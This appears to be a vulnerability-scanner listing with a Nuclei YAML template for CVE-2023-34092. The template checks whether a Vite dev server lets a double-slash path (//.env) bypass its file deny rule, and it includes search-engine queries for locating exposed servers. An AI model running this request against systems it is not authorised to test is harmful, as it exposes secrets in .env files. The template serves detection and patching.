Vite Dev Server - Information Exposure
CVE-2023-34092
Verified
Description
Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.
Severity
High
CVSS Score
7.5
Exploit Probability
51%
Published Date
March 26, 2026
Template Author
ritikchaddha
CVE-2023-34092.yaml
id: CVE-2023-34092
info:
name: Vite Dev Server - Information Exposure
author: ritikchaddha
severity: high
description: |
Vite dev server could allow reading files from the Vite project root by bypassing server.fs.deny with double forward-slash paths (//). This affects exposed dev servers only.
impact: |
Unauthenticated users can read sensitive files in the project root, potentially leading to information disclosure.
remediation: |
Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-353f-5xf4-qw67
- https://nvd.nist.gov/vuln/detail/CVE-2023-34092
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-34092
epss-score: 0.51316
epss-percentile: 0.97923
cwe-id: CWE-50
metadata:
max-request: 2
verified: true
fofa-query: body="/@vite/client"
shodan-query: http.html:"/@vite/client"
tags: cve,cve2023,env,vite,exposure,bypass
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/.env"
matchers:
- type: status
status:
- 403
internal: true
- method: GET
path:
- "{{BaseURL}}//.env"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "VITE_APP_SECRET"
case-insensitive: true
- type: status
status:
- 200
# digest: 4a0a0047304502205a7ac3e391161ae648c52c1c14bbfc48a7fa22b787d88ec3c78e17233758148c022100c01260b4fb1011db26176df3a7edf99b080fab994e2772b3ba50f646b1fc5337:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2023-34092
CWE ID:
cwe-50
Remediation Steps
Update to Vite version 4.3.9, 4.2.3, 4.1.5, 4.0.5, 3.2.7, or 2.9.16 or later.